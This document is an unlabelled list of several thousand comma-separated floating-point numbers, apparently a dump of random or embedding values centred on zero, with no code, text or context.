-0.23792173, -1.424061, -0.49331987, -0.54286146, 0.41605005, -1.1561824, 0.7811981, 1.4944845, -2.069985, 0.42625874, 0.676908, -0.63743705, -0.3972718, -0.13288058, -0.29779088, -0.30901298, -1.6760038, 1.1523316, 1.0796186, -0.81336427, -1.4664243, 0.5210649, -0.57578796, 0.14195317, -0.31932843, 0.69153875, 0.6947491, -0.7255974, -1.383364, -1.5829384, 0.6103794, -1.1888592, -0.5068163, -0.596314, -0.052567296, -1.9362798, 0.1887786, 0.52389103, 0.08842209, -0.31088617, 0.097400166, 0.39904633, -2.7725928, 1.9559124, 0.39009333, -0.6524086, -0.39095336, 0.49374178, -0.11610394, -2.0306845, 2.064493, -0.11054066, 1.0201727, -0.69204986, 1.5363771, 0.2863437, 0.60884386, -1.0452534, 1.2111453, 0.68981814, 1.3018463, -0.6280876, -0.48102713, 2.3039167, -1.0600158, -0.1359497, 1.1368914, 0.09772497, 0.5829537, -0.39944902, 0.37005588, -1.3065269, 1.6581306, -0.11816405, -0.6801782, 0.6663831, -0.4607198, -1.3342584, -1.3467175, 0.69377315, -0.15957344, -0.13370156, 1.0777438, -1.1268258, -0.7306777, -0.3848798, 0.09435159, -0.042171452, -0.2868872, -0.0616264, -0.10730527, -0.7196044, -0.812993, 0.27451634, -0.8909151, -1.1573553, -0.31229225, -0.15766701, 2.2567234, -0.7047003, 0.9432607, 0.7471883, -1.1889449, 0.77325296, -1.1838807, -2.6591723, 0.60631955, -1.7558906, 0.45093447, -0.6840109, 1.6595508, 1.0685093, -0.4533858, -0.6878376, -1.2140774, -0.44092262, -0.28035548, -0.36469355, 0.15670386, 0.5785215, 0.34965447, -0.76414394, -1.4377915, 1.3645319, -0.6894492, -0.6522936, -0.52118933, -1.8430696, -0.477974, -0.4796558, 0.6203583, 0.6984571, 0.003770889, 0.93184835, 0.339965, -0.015682112, 0.16092817, -0.19065349, -0.3948495, -0.26773354, -1.1280113, 0.2804417, -0.9931236, 0.8416313, -0.24945858, 0.04949498, 0.4938368, 0.6433145, -1.5706234, -0.20690368, 0.8801789, -1.6981058, 0.38728046, -2.2555642, -1.0225068, 0.038630553, -1.6567152, -0.98551077, -1.471835, 1.648135, 0.16422775, 0.5672903, -0.2226751, -0.35343176, -1.6164742, -0.29183736, -0.7614922, 0.8579239, 1.1411018, 1.4665787, 0.85255194, -0.5986539, -1.1158969, 0.7666632, 0.3562928, -1.7685385, 0.3554818, 0.8145198, 0.058925588, -0.18505368, -0.8076485, -1.4465348, 0.800298, -0.30911446, -0.23346666, 1.7327212, 0.6845011, 0.370825, 0.1420618, 1.5199949, 1.7195894, 0.9295051, 0.5822246, -2.094603, 0.12372191, -0.13010696, 0.09395323, 0.9430461, -2.7396772, -0.56931204, 0.26990435, -0.46684554, -1.4169061, 0.8689635, 0.27687192, -0.97110456, 0.3148172, 0.8215857, 0.005292646, 0.8005648, 0.078260176, -0.39522898, -1.1594205, -0.085930765, 0.19429293, 0.87583274, -0.11510747, 0.4574156, -0.964612, -0.78262913, -0.1103893, -1.0546285, 0.8202478, 0.46313033, 0.27909577, 0.3389041, 2.0210435, -0.4688642, -2.2014413, 0.1993002, -0.050603542, -0.51751906, -0.97882986, -0.43918952, 0.18133843, -0.5028167, 2.4124537, -0.96050435, -0.79311734, -2.28862, 0.25148442, -2.0164065, -0.53945464, -0.27567053, -0.70972794, 1.7388726, 0.99439436, 1.3191369, -0.8824188, 1.128594, 0.49600095, 0.77140594, 1.0294389, -0.90876323, -0.42431763, 0.86259604, -2.6556191, 1.5133281, 0.55313206, -0.045703962, 0.22050765, -1.0299352, -0.34994337, 1.1002843, 1.298022, 2.696224, -0.07392467, -0.65855294, -0.51423395, -1.0180418, -0.07785475, 0.38273242, -0.03424228, 1.0963469, -0.2342158, -0.34745064, -0.5812685, -1.6326345, -1.5677677, -1.179158, 1.3014281, 0.8952603, 1.3749641, -1.3322116, -1.9686247, -0.6600563, 0.17581895, 0.49869028, 1.0479722, 0.28427967, 1.7426687, -0.22260568, -0.9130792, -1.6812183, -0.8889713, 0.24211796, -0.8887203, 0.9367425, 1.4123276, -2.369587, 0.8640523, -2.239604, 0.40149906, 1.2248706, 0.064856105, -1.2796892, -0.5854312, -0.26164544, -0.18224478, -0.20289683, -0.10988278, 0.21348006, -1.2085737, -0.24201983, 1.5182612, -0.38464543, -0.4438361, 1.0781974, -2.5591846, 1.1813786, -0.63190377, 0.16392857, 0.09632136, 0.9424681, -0.26759475, -0.6780258, 1.2978458, -2.364174, 0.020334182, -1.3479254, -0.7615734, 2.0112567, -0.044595428, 0.1950697, -1.7815628, -0.7290447, 0.1965574, 0.3547577, 0.61688656, 0.008627899, 0.5270042, 0.4537819, -1.8297404, 0.037005723, 0.76790243, 0.5898798, -0.36385882, -0.8056265, -1.1183119, -0.13105401, 1.1330799, -1.9518042, -0.6598917, -1.1398025, 0.7849575, -0.5543096, -0.47063765, -0.21694957, 0.44539326, -0.392389, -3.046143, 0.5433119, 0.43904296, -0.21954103, -1.0840366, 0.35178012, 0.37923554, -0.47003287, -0.21673147, -0.9301565, -0.17858909, -1.5504293, 0.41731882, -0.9443685, 0.23810315, -1.405963, -0.5900577, -0.110489406, -1.6606998, 0.115147874, -0.37914756, -1.7423562, -1.3032428, 0.60512006, 0.895556, -0.13190864, 0.40476182, 0.22384356, 0.32962298, 1.285984, -1.5069984, 0.67646074, -0.38200897, -0.22425893, -0.30224973, -0.3751471, -1.2261962, 0.1833392, 1.670943, -0.05613302, -0.0013850428, -0.687299, -0.11747455, 0.46616644, -0.37024245, -0.45380405, 0.40326455, -0.91800475, 0.25249663, 0.8203218, 1.3599485, -0.09038201, 1.3675972, 1.0344099, -0.99621266, -1.2179385, -0.30496365, 1.0289356, -0.07228701, -0.6006576, 1.5522432, 0.28690448, -2.3205943, 0.31716064, 0.52004063, 0.22560866, 0.4497121, -0.067275606, -1.3183959, -0.370704, -0.94561577, -0.9327409, -1.2630683, 0.45248908, 0.097896144, -0.44816536, -0.64933795, -0.023423105, 1.0791948, -2.0042157, 0.37687653, -0.545712, -1.8845859, -1.945703, -0.9127835, 0.21950956, 0.39306292, -0.9389816, 1.017021, 1.4229835, 0.39608657, -0.59140265, 1.1244192, 0.7553957, 0.86740744, -0.6564637, -2.8345544, 2.116791, -1.6108783, -0.035768073, 2.3807454, 0.33057675, 0.94924647, -1.5023966, -1.7776669, -0.5327028, 1.0907497, -0.34624946, -0.7946363, 0.19796729, 1.0819352, -1.4449402, -1.210543, -0.7886692, 1.0946383, 0.23482153, 2.1321535, 0.9364457, -0.035095178, 1.2650778, 0.21149701, -0.70492136, 0.67997485, -0.6963267, -0.2903971, 1.3277828, -0.10128149, -0.8031414, -0.46433768, 1.0217906, -0.55254066, -0.38687086, -0.51029277, 0.1839255, -0.38548976, -1.6018361, -0.8871809, -0.932789, 1.2433194, 0.81267405, 0.58725935, -0.50535834, -0.81579155, -0.5075176, -1.0518801, 2.4972005, -2.2453218, 0.56400853, -1.2845523, -0.10434349, -0.98800194, -1.177629, -1.1401963, 1.7549862, -0.13298842, -0.7657022, 0.55578697, 0.010349315, 0.72003376, -1.8242567, 0.30360392, 0.7726948, -1.6615983, 0.44819528, 1.6961815, -0.014857704, 0.82140595, 0.67057043, -0.7075057, 0.039766736, -1.5669947, -0.45130304, 0.26568797, 0.7231005, 0.024612125, 0.71998376, -1.1029062, -0.10169727, 0.019279385, 1.8495913, -0.21416666, -0.49901664, 0.021351224, -0.91911346, 0.19275385, -0.3650552, -1.7913276, -0.058586553, -0.3175431, -1.6324233, -0.06713416, 1.4893559, 0.5213038, 0.6119272, -1.3414967, 0.47689837, 0.14844958, 0.5290452, 0.4226286, -1.3597807, -0.041400813, -0.75787085, -0.050084095, -0.8974009, 1.3124703, -0.8589724, -0.8989422, 0.07458641, -1.0770991, -0.4246633, -0.8299646, 1.411172, 0.78580385, -0.057469517, -0.39121705, 0.9409176, 0.4052041, 0.49805242, -0.026192237, -1.68823, -0.112465985, -0.5324899, 0.6450553, 1.0118425, -0.65795106, 0.46838522, 1.735879, -0.66771275, 1.6819217, -0.85258585, 0.022959756, -0.011145612, 0.0114989, -0.837678, -0.5911831, -0.66772026, 0.3269626, 0.33003512, 2.2259443, 1.370989, -0.50984323, 0.3248696, 0.997118, 0.030601824, -0.069641575, 0.05157494, 0.8672766, -0.84832054, -0.32566947, 0.47043315, 0.31144708, 0.23958276, -0.36980116, 0.9725358, 2.1338682, 0.4064155, -0.1931767, 0.7557403, -0.53913265, -0.74969035, 0.032808747, -2.5827966, -1.1539503, -0.34796184, -1.3533889, -1.0326431, -0.43674833, -1.6429653, -0.40607178, -0.53527015, 0.025405208, 1.154184, 0.17250441, 0.021062022, 0.099454455, 0.22739278, -1.0167387, -0.11477532, 0.30875126, -1.37076, 0.8656529, 1.0813761, -0.63137597, -0.24133779, -0.87819034, 0.69938046, -1.0612223, -0.222477, -0.8589199, 0.05095428, -1.7942293, 1.3264617, -0.9646064, 0.059894685, -0.21252304, -0.7621145, -0.88778013, 0.93639857, -0.5256406, 0.2711702, -0.80149686, -0.64718145, 0.47224715, 0.9304085, -0.17531641, -1.4219198, 1.997956, -0.8565493, -1.5415874, 2.5944245, -0.4040323, -1.4617327, -0.6834398, 0.3675449, 0.19031155, -0.8517292, 1.8227236, -0.5215797, -1.1846865, 0.9606934, 1.3290628, -0.8174931, -1.4013473, 1.0304383, -2.0473237, -1.2266216, 0.96744615, -0.055352546, -0.26393735, 0.3528166, -0.15277442, -1.2986867, 1.2760754, 1.325014, 0.20533256, 0.045134015, 2.339625, -0.27643284, -0.25957698, 0.36448124, 1.471322, 1.5927707, -0.25857264, 0.30833125, -1.3780835, -0.3119761, -0.84029037, -1.0068318, 1.6815767, -0.79228663, -0.5316059, 0.36584878, 1.2978252, 0.48111513, 2.759355, -0.074667975, 0.25871643, 0.27560067, 1.4350494, 0.5072389, -0.1162297, -0.9474886, 0.24444346, 1.4013448, -0.4103818, 0.5289436, 0.24614778, 0.86351967, -0.8047537, 2.346647, -1.2791611, -0.36555108, 0.9380925, 0.29673317, 0.82998616, -0.49610233, -0.074804984, 0.012231983, 1.5692596, 0.69042903, 0.7966721, -0.6579261, 0.9688826, 0.22558166, 1.3891454, 2.0140603, -0.30676576, -0.40630314, -0.86404496, -0.14357951, -0.38202545, 0.3595044, -0.14456682, -0.36159927, 1.0645851, -0.9378802, 0.43310794, -0.40594172, 0.7243685, 1.3852615, -0.30309826, 0.44103292, 0.17879286, -0.7994224, 0.2407875, 0.2891205, 0.41287082, -0.1983989, 0.0941923, -1.1476109, -0.35811406, 0.5559627, 0.8924739, -0.42231482, 0.10471403, 0.22805333, 0.20147994, 0.5407736, -1.8180777, -0.04932407, 0.2390336, -1.0003303, 1.6739857, 0.16155927, 1.5634048, -0.790523, -0.9073001, 0.22425222, -1.6786884, 0.2149656, 0.09721923, 1.0156653, 0.70104134, -0.41747734, -1.0974966, 1.7123052, -0.79211503, -1.0455246, -1.084856, 1.1173053, -0.5189002, -0.7537045, 0.13768983, -0.2069447, -0.67809546, 0.7539915, 1.0653155, 0.9853175, 0.7669197, 0.40262553, -1.775888, 1.6692508, 0.3019892, 0.60815644, 1.1149623, 1.4333525, 0.41839802, 0.43554616, -0.59922427, 0.03308975, -0.85416126, -0.71994054, -0.8935744, -0.15602389, 1.0490932, 3.1709747, 0.18949963, -1.3484131, 1.2649833, -0.30078387, -0.6606086, 0.20984948, -1.2406245, 0.22246316, -0.08837552, 0.098377906, 0.38141626, 0.067492254, 0.016338084, 0.2843145, 0.41540062, -1.0314825, -1.4299912, -0.061638054, -1.4327354, 0.08753147, 0.93874687, 0.6071117, -1.0481704, -0.86026245, 0.32830128, -0.4012978, -0.3166553, 0.5969065, -0.9872867, -0.40123472, -0.8000825, -1.0431294, -0.8570782, 0.67746216, 0.05182039, -0.87916064, -0.2311016, -1.6388073, -0.7333128, 2.1495745, -0.090243846, 0.73165894, -0.065488376, 0.34816924, 0.6632581, -1.1046166, -0.030936258, 1.5788652, -0.7955006, -0.56643987, -0.30769128, 0.26902407, 0.52491784, 1.2674117, 0.49949825, -0.062053125, 1.2591671, 0.70411104, -1.4956795, 2.5263681, 1.7699214, -0.16821422, 0.3779101, 1.3243587, -0.1722008, 0.7303518, 1.1045785, -1.0148259, -0.6023319, 0.9214084, 0.46081448, 0.92379653, -0.13256802, -0.28900522, -1.9986395, -1.1460004, 0.047066096, 0.82455724, 0.53117836, -0.12824197, -0.27177158, 0.21717963, 0.07821118, 1.4045455, 0.14644077, -1.481246, -1.2725581, 1.5187594, -1.1711605, 0.76449746, -0.26837274, -0.16975829, -0.13413279, 1.221385, -0.19284183, -0.033319283, -1.5308034, 0.2066905, 0.5310425, 0.23914558, 1.3978963, 0.055171356, 0.29897746, 1.648504, -1.5500141, -0.45582536, 1.4261588, 0.93612915, 0.6783801, 0.8326507, 0.3270662, 1.6315974, 0.37775916, 0.2398671, 0.15895867, 0.19286396, -1.1570172, 0.77067304, -0.13043973, 1.8219151, -0.07565047, 0.4209183, 0.24660219, -0.625557, 0.99213684, 1.9050636, -0.01477722, -0.3004788, -0.35502872, -1.8923619, -0.17781314, 0.2509981, 1.054758, 0.9600477, -0.41649908, -0.27682298, 1.1239053, -0.1734639, -0.51002955, 1.3925184, 1.0375856, 0.018791791, -0.5937774, -2.0118804, 0.5897036, -0.8963697, -1.962732, 1.5848205, 0.6479678, -1.1390082, -1.2144014, 0.8709618, -0.87797064, 1.2961498, 0.6164593, 0.53659654, 0.40469545, 0.19145088, 0.8805112, -0.45408037, 0.08595198, 0.75194657, 0.5629897, -1.1949868, -0.50040966, 0.2528035, -0.4080147, 1.7746586, -0.3931532, -0.16221845, 0.76943016, 0.33053273, -0.14527446, -0.7564935, 0.30151406, 1.0390965, 0.47909522, -0.7781835, 1.7367749, -1.4465779, -1.5826856, 0.9605572, 0.22584048, -0.54949856, -1.0985707, 2.3207998, 0.11709087, 0.53420115, 0.3178851, 0.43480796, 0.54009444, 0.732424, -0.3752224, -0.29164198, -1.7410228, -0.78030443, 0.2711128, 1.0450233, 0.59903955, -0.34069234, -1.2631729, -2.7773592, 1.151734, -0.589229, -0.44846502, 0.13157398, -1.40556, -0.34978217, 2.0234718, 0.50538695, 0.35924914, -1.5824945, 2.2436018, -1.4227949, 1.9223248, -2.115056, 1.4053655, 1.6180543, -0.8244091, 0.42258036, 0.5474806, -0.8137945, -1.4491177, -1.3177173, 0.54100823, -0.085115604, -0.564301, 0.966768, 0.5080679, -0.7554627, -1.2012016, 0.5232617, -0.53758335, 0.09920486, 1.576299, 0.5023282, -0.862267, 0.16066119, -0.95264494, 1.6085222, -0.56157875, 0.20727074, 0.30773258, 0.15925047, -1.9585489, -1.446421, -0.4523503, 0.31943184, -0.13777922, -0.9571475, -1.3484243, -0.40155753, -0.46847606, 0.51283646, -0.32631847, 0.6027077, -0.5946498, -0.25595766, -0.3480464, -0.782367, 0.6251187, -0.813596, -0.5216415, -0.07311965, -1.2973796, -0.32493496, -0.71130633, -0.38815418, -0.059928004, -0.79991364, -0.22007579, 1.3086687, -0.025798557, 1.1452621, 0.34649444, 0.7741606, -0.77445894, 0.10490716, 0.13391292, -0.6126257, -0.82282835, -1.4902654, 1.4961396, -0.9724029, 1.3462211, -0.46749318, -0.8624933, 0.62251914, -0.63119197, 0.5684589, -0.33281177, 0.4804245, -0.9681861, 0.83135104, 0.48797268, -0.9196507, 2.6429358, 0.54012305, 2.290467, 1.6002678, -0.18883479, -0.41227177, -0.4034592, -1.8300285, -0.6958351, 0.24676603, 1.5259576, -0.7727719, 0.8820566, -1.2525934, -0.58632004, -0.4576406, 0.3718111, 0.45730963, 0.9623417, 0.77083695, 0.24316822, 0.39036494, 1.5885307, -0.5109262, 0.7747283, -1.808144, 0.41133425, -0.48324955, 0.0025711823, 1.0400863, 0.16464381, 0.88518757, 1.4737648, 0.38909397, 1.171041, -0.32656097, -0.008209882, -0.5226194, 1.0429776, 0.41409135, -0.50723445, 0.15466884, 1.0415684, -0.03926799, -0.9489328, 0.13191175, -1.9805655, 0.76877064, -0.4213276, -0.46931073, 0.8756957, -1.3651628, 1.9470986, -0.48024204, -0.52325094, 1.0212247, 0.7086953, 2.4512298, -0.21120599, -0.120406635, -1.479316, -0.33210227, -0.7214313, -0.448767, -1.7441877, 1.6606076, -1.4166034, -2.8022027, -1.1884245, -0.6038396, -1.149554, 1.0983036, -0.13783918, 0.025385605, 0.61039174, 0.28601253, 0.9785673, -1.1094775, -0.5475181, 0.66596717, -2.5345545, -1.3751845, 0.50099224, -0.48024905, 0.9361076, 0.8091803, -1.1980929, 0.4066571, 1.2016978, 0.1474344, -0.97746485, 0.87938994, 0.63542455, 0.54261076, 0.71593887, -2.994613, 0.8809376, 1.8081318, 0.43663847, 0.192729, 0.69643867, 0.33822548, 0.65178126, 0.0014710003, -0.76670486, -1.0043228, -0.9981917, -1.3730426, -1.067742, 1.7612661, 0.7540957, -0.6250274, -0.3903927, 0.11255753, -0.65554506, 0.067516856, 0.77760416, -0.035742734, 0.33601573, 0.88649154, -0.27213177, 0.2847906, -0.30937758, -0.02852887, -0.32473028, -0.52886987, 0.17371185, 0.5665453, 0.14630444, 0.49872696, -0.7379318, -1.2037352, 0.4170435, 0.6878814, 0.049857266, 1.3480358, 0.9076988, 2.6805708, -0.20080851, -0.9988488, -0.7401368, -0.5654978, 0.4760314, -2.1580687, 1.3185511, -0.23929659, -0.24679355, -1.0793432, -0.11422555, 0.013239767, -0.12194493, 0.33905926, -0.58963203, -0.8958158, 0.5483281, 0.09866745, 0.19718106, 1.0590272, -1.0225644, -0.85524046, 1.2572197, -1.4828833, -1.3094121, 0.81786186, 0.23820019, 0.105232134, -0.09165941, 0.031267546, -0.09211212, 1.3554426, -0.39814812, -0.16137354, 1.7944489, 0.027509702, 2.2320163, -0.1049797, 1.367415, -1.655344, 0.15364446, -1.5844736, 0.8444543, -1.2128679, 0.28376955, -0.28219587, -1.1582032, -1.61936, -0.51104045, 1.7406294, -0.29348505, 0.91722155, -0.057042867, 0.87672675, -1.8269113, -0.40318832, 0.94940555, -0.16325495, -0.086455286, -0.4304619, 1.1493794, 0.29751435, 0.044022277, 0.64305454, 0.58822495, 0.21258704, 1.5470315, -0.060287535, 0.27808106, -0.64295256, 0.15011522, 1.5877615, -0.6432576, -1.1335928, 0.99675965, -0.14876615, 0.0960042, -0.045113303, 0.079121724, 0.8505307, -0.8391242, -1.0117741, 0.084968135, -1.6064397, -1.3730536, 1.8666831, 0.75746834, -0.010056471, 1.238007, -1.0405992, -0.31560314, 0.6234536, 0.8906717, 0.51291686, -2.5412388, -0.96808213, 0.4770681, -0.3559515, 2.5402317, 0.9265583, 0.55808187, -1.1169496, -0.03529674, 0.24120396, 1.1277837, 0.8811311, 1.0329891, -0.923912, 1.4121517, -1.3804307, -0.53591454, 0.43077114, -0.14989159, -1.0060369, -0.82154983, -1.5482544, 0.5319746, 1.2605689, -0.100393504, -0.4003488, -1.472323, 0.9132019, 2.2113044, -1.7974558, -1.0634329, -0.679593, -0.5643179, 0.22734594, 1.6142496, 1.0085973, 0.52759737, -0.7239287, -1.1196282, -0.7967753, 1.5480669, -0.0617433, -0.44683626, -0.18375573, 0.8246182, -1.3128496, 1.4148741, 0.15647626, -0.21634398, 0.44284612, 0.21839707, -0.34419647, -0.25271067, -0.86886257, 0.6563907, -0.5319938, -0.9562584, 0.16586353, 1.3291413, -0.048344623, -0.60810125, 0.40389603, 1.9367125, -1.4519055, 0.38220277, 0.20508662, 1.1615338, 0.99090916, -0.1867091, -1.6845173, 0.8065638, -0.8351927, -0.9467404, 1.1483506, -0.9108504, 1.4028448, 0.33584473, 0.3191184, 0.30726478, -1.6384237, -1.7763886, 0.21555306, 0.56800735, 0.08261103, -0.8215345, 0.018922104, -0.082034156, -0.9571581, 1.0139722, -1.7302761, 0.58874243, 0.38432342, 1.0097119, -1.0053118, 0.10140715, 2.171165, 0.66207427, 0.10058121, 0.53916126, 0.08617684, 2.190898, 0.9836362, -0.08561496, 0.25233144, -0.390798, 1.2098501, -1.4061048, -1.6047385, 1.4587147, 2.1531198, 0.4683049, 0.11273794, 0.6572677, -0.64705354, 0.17124355, 0.038908705, 0.62656426, -1.5579985, -0.5070348, 0.8449956, -0.67559385, -0.99336135, 2.042072, 0.038118, -0.57891816, -1.6923704, 0.72934633, 0.69913614, -0.2987596, -1.1022302, -0.024549423, -0.8358561, -0.9420936, -0.10321275, -1.0513904, 0.24664895, 0.60799253, -0.83963245, -1.3682451, 1.5612797, -0.94027025, -0.6599427, 0.21301717, 0.59936935, -0.2563169, 0.46079433, -0.40098616, -0.97117066, 1.4263169, 2.4884417, 1.6959696, 0.14180663, 1.8334354, 0.3557035, -0.47728628, 0.46637958, -0.09439251, -0.9831182, -0.898322, 0.8020517, -1.846532, 0.60413677, -1.6295836, -2.1211765, -1.8388466, 1.966764, -0.19623396, 0.08658318, 1.419255, 0.9341797, -1.3915052, 0.86900634, 0.18418126, -0.34167808, 0.024290914, 1.279812, -0.8859665, 0.40088567, -0.009657237, -1.7971646, -0.8022532, 0.19321355, 1.2973421, 1.001331, 0.5972125, -0.81527567, 1.801214, 0.21524046, -1.0063655, -0.18290497, 0.8962484, 0.0076174983, 0.88686466, 1.103694, 0.4005307, -0.8577026, 0.13545467, 0.045165855, 1.8593464, -1.6263219, -0.13482246, -0.5840936, 0.33510563, -2.4375644, 1.1149246, 0.013748487, -1.8447012, -0.36111313, 0.60896236, -1.5914478, 0.0032222164, -1.0574737, -0.55598503, 0.026738383, 0.18345025, -0.4707425, 0.2727964, 0.8179776, -0.27891427, 1.4315678, 1.4622141, -0.42870206, -0.63784057, -1.664173, -0.12656933, -0.36343777, 0.77905124, -1.5096616, -0.2773914, 0.9687444, -0.7303571, -0.7623615, -1.4469403, 2.6205738, -0.7474732, -1.3003469, -0.8038504, -0.7742951, -0.26938978, 0.8253722, -0.29832315, -0.9228233, -1.4513385, 0.021857359, 0.042539075, 1.5309323, 0.092447735, -0.099008314, -1.0506538, -0.30595258, -0.43847445, -0.37016416, -0.9592554, 0.5383296, -0.14244542, -0.20035347, -1.7140461, 0.4936441, 0.48701534, -0.8391294, 0.99012136, -1.3647583, -0.021869909, -0.27120733, -1.3171748, 0.18970262, 1.7025702, 0.06763423, -0.46302176, 0.44702417, 0.10572, 0.027762132, -0.4255422, 1.4219756, 0.45636335, -0.52867067, -0.10800384, -0.7408667, -0.60829115, -0.64072573, -1.1343116, 0.777277, -0.29104146, 0.5541276, -0.6701259, -0.060362495, -0.7110406, 0.71966815, -0.2484193, -0.7308736, -1.6417032, 0.27566653, -0.70838505, -0.015779218, -0.4917301, 0.9541896, 0.54414475, 0.4472121, -0.6161211, 0.46629006, 1.7148316, -0.83218604, 0.17233914, -1.649217, 1.3985621, -0.39791209, 0.7825789, -1.7232282, 1.7975394, -0.35687152, 0.54565734, 0.1508182, -0.25547078, 1.6857923, -1.6480463, 0.29871365, 0.91064566, -0.029856121, -0.11817078, -0.14268771, -1.2276365, 0.038127385, 0.51271755, 0.068599224, -0.2722761, -0.48972502, -0.27929667, 1.2577442, -2.0866349, 0.040071458, -0.3277549, 1.4558079, 0.055492226, 1.4849256, -2.12389, 0.4595849, 0.28005785, 1.3905339, -1.6413486, -0.15503581, 0.06606026, -0.4957955, 1.2165778, -0.33868217, 2.0347626, 1.0541779, 0.9508337, 0.559299, -1.0636955, -0.43109635, 0.57275134, 0.67755705, 1.3071839, -0.46744102, -0.8601534, 0.8591042, -0.8096266, 0.8733118, 1.1997361, 0.45615304, -0.35757902, 0.041082226, 0.5934659, 0.010185518, 2.1982963, -0.9906709, -1.0026686, -0.9768954, -0.58957994, -2.1789315, -0.6296504, -0.6532847, 0.078514025, 0.41780058, -1.2402164, 0.9000542, 1.8022423, -0.20828511, 1.5743712, 0.1989895, 1.9887319, 1.1172835, -1.5639046, 0.01862737, 1.054325, 0.030546581, -0.03688353, 1.2697648, -0.7098542, 0.017515613, 0.32362577, -0.33379096, -0.020129103, 0.7750233, 0.43283764, -0.80871755, -1.104124, -0.7891022, 0.0012484558, -0.15993978, -0.8319575, -0.59815043, -1.5200393, 0.4178537, -0.040018726, -1.2597873, 0.028620504, 1.342622, -0.7399359, 1.3151376, -0.32345748, 0.19782817, 0.097750805, 1.4015235, 0.15843384, -1.1419014, -1.3109704, -1.5329211, -1.7119702, 0.04613506, -0.9583745, -0.08081161, -0.70385903, -0.7707843, -0.48084533, 0.70358557, 0.92914516, 0.37117255, -0.98982257, 0.6436313, 0.68889666, 0.2746472, -0.6036204, 0.70885956, 0.42281857, -3.1168566, 0.64445204, -1.9137427, 0.6635616, -0.1540724, 1.1936116, -0.09816121, -0.88661426, -0.14735366, 1.0598063, 0.026246618, -0.11433516, 0.7435535, 0.21035936, -0.005927406, 1.36606, 1.555114, 0.61332625, -0.28595915, 1.496911, 1.1831195, 0.71889716, -1.2160766, 0.14067191, -0.7436722, -0.15901226, 0.24005693, 0.10015941, -0.4751751, 1.2729537, -1.6961312, 0.73018354, -1.8574833, 0.38259813, -0.8869043, 0.87830377, 0.08645252, 0.24770638, -1.0182793, -0.65457016, 0.2072174, 0.58356994, 2.9290962, 0.22285832, 0.9760375, -1.5569339, -1.3298919, -0.35549477, -1.1974277, 1.4863993, -0.4102187, 1.3821819, 1.4867824, 0.04277972, 0.50179976, -0.056099474, 0.538437, 0.48334184, -0.12364963, 0.50496995, 1.7236962, 0.7130162, 0.3257996, 0.124769524, -1.0126731, -1.0272969, 0.32335654, -1.3693911, -0.7663276, 1.2815113, 1.9142298, -1.665956, 1.6266496, -0.2114383, -0.0150050875, -0.11341163, 1.0805441, -1.6076766, 0.45616361, -0.9448702, 0.5707885, 1.5427964, -0.0004173264, 0.37415507, 0.40955177, -0.7995935, 1.5116394, 1.7064682, 0.70178336, 0.07328543, -0.46189383, -0.62649024, 1.7108365, 1.414415, -0.063661486, -1.5799305, -2.832012, -1.0834267, -0.13062039, 1.400689, -0.6516562, 0.50481546, 1.3031809, 0.12853631, -0.14244787, -1.3087635, -1.2024753, 0.41609964, -0.20090753, 0.12253132, -0.047277715, 0.66414404, -0.7846874, -0.33558065, 1.8961822, -0.79978615, -0.28157544, -0.5893867, 0.44478136, 1.0223923, -0.49821162, -0.43141434, -0.2789816, 0.5298338, -0.7393953, -0.37595996, -2.3721938, -1.381745, -0.11244375, 0.89786416, 0.29507577, -1.0987685, -1.4002562, 0.1746801, -1.6528037, 1.0659268, 0.063896194, -1.6073202, -0.9659539, -0.7243113, -0.7731925, -1.489933, -0.8746625, -0.6844016, -0.71128577, 1.1279566, 0.10482781, -0.9932572, -0.3346216, -0.8795571, -0.30000666, 0.87550914, 0.2522708, 2.2856011, 0.37592742, -0.9135945, 0.8097407, 1.0799313, 1.094167, -1.0942409, -0.14763741, 1.131812, -1.684729, -0.49941677, -1.4269377, -0.9325702, -1.0124571, 1.2505698, -0.23453803, -0.8633556, -1.0356058, 0.14166717, -0.0111356275, 1.3440744, 0.5000167, -1.4317977, -0.6289807, 1.0700725, -0.6210827, 1.7345722, -1.0982895, 0.57261336, -0.86121553, -0.50959516, 1.0985817, -0.12706716, 0.81345224, 0.4732906, 0.75386566, -0.8881882, -0.2215744, 0.42425263, -0.8490729, 1.6295, -0.77722806, -0.3000036, -1.006559, -2.1433082, 1.7969185, -0.20433894, -0.44791484, -0.19871506, 1.4198639, -0.9651066, 0.6795679, -0.42378825, -0.59667087, 0.5670582, 0.9882406, -0.51390296, -0.76884913, -1.1690958, 1.1035038, -0.575256, -1.8491307, 1.4099522, -1.3698595, 0.77946055, 0.18342865, 0.28791544, -0.58437526, 0.36559147, -1.6677799, 0.5880377, 1.55701, 0.8840272, -2.01954, -0.984209, -0.18779492, 0.4869373, -0.10665268, -0.4932144, 0.5953003, 1.1641518, -0.23229401, 0.7289299, -2.5790508, -0.93750936, -0.32125893, -0.48856622, 0.3327982, 1.0137506, 0.50666904, -0.62222546, -1.5227681, 0.5569641, -1.8381767, 0.6530373, -0.18844908, -1.175835, 0.2872573, -0.0028761027, -0.036597293, -0.0842233, 0.4195241, 0.924434, 0.4966152, 1.0121332, -0.04413972, 1.6184593, 0.57110983, -0.543694, -1.0938951, 0.20579681, -1.3065215, -0.973376, 0.23908707, -0.60788745, -0.93331623, -0.034475047, 0.072677895, -0.20583403, -0.3775469, 0.85464275, 0.34242734, -0.22342612, 2.4643219, 0.19383174, 1.1320051, -0.560981, -1.3629409, -0.7917565, -0.26800978, -0.4966082, 1.3363862, -0.120041125, 0.46146888, -0.046481155, -0.43355432, 0.037996013, 1.7140515, -0.76794857, 0.7669904, -1.0260073, -0.45962644, 0.0035832059, 0.3263751, 1.4831287, -0.050082643, -0.8436156, 0.650042, -0.3641698, 0.23868157, -0.11622244, -1.9434569, 0.5082992, 0.583368, 0.92660475, 1.8004627, -1.1951038, 0.51650745, 0.409295, -0.419082, 0.39710623, 0.49964696, -1.2186838, 0.24622276, -0.9179843, -0.6518565, -1.7747449, -0.47336093, -0.20357068, 0.54985684, 0.00089992664, -1.5422882, 0.86214805, -0.11858662, 0.4883706, 0.9659361, 1.4226048, 1.9612269, -0.07223876, 0.31112444, -1.078361, 1.0616002, -1.1848874, -1.8052517, 0.830386, -0.5216965, 0.77760726, 0.40807465, -1.6300026, -2.7196794, -1.0966017, 0.016491488, -1.2217764, -0.65276146, -1.4589407, 0.16987796, 0.09082593, -0.48139262, 1.3970653, 1.497715, 0.5652672, -1.7997712, -1.1046902, 0.40713033, -0.62855756, -0.48709142, 0.8989674, 0.5108748, 1.3141544, -0.4292093, 1.3752254, -0.55413127, 1.4994915, 0.10583464, -0.86050975, -1.6312195, -0.3014723, -0.2562327, 0.8576619, 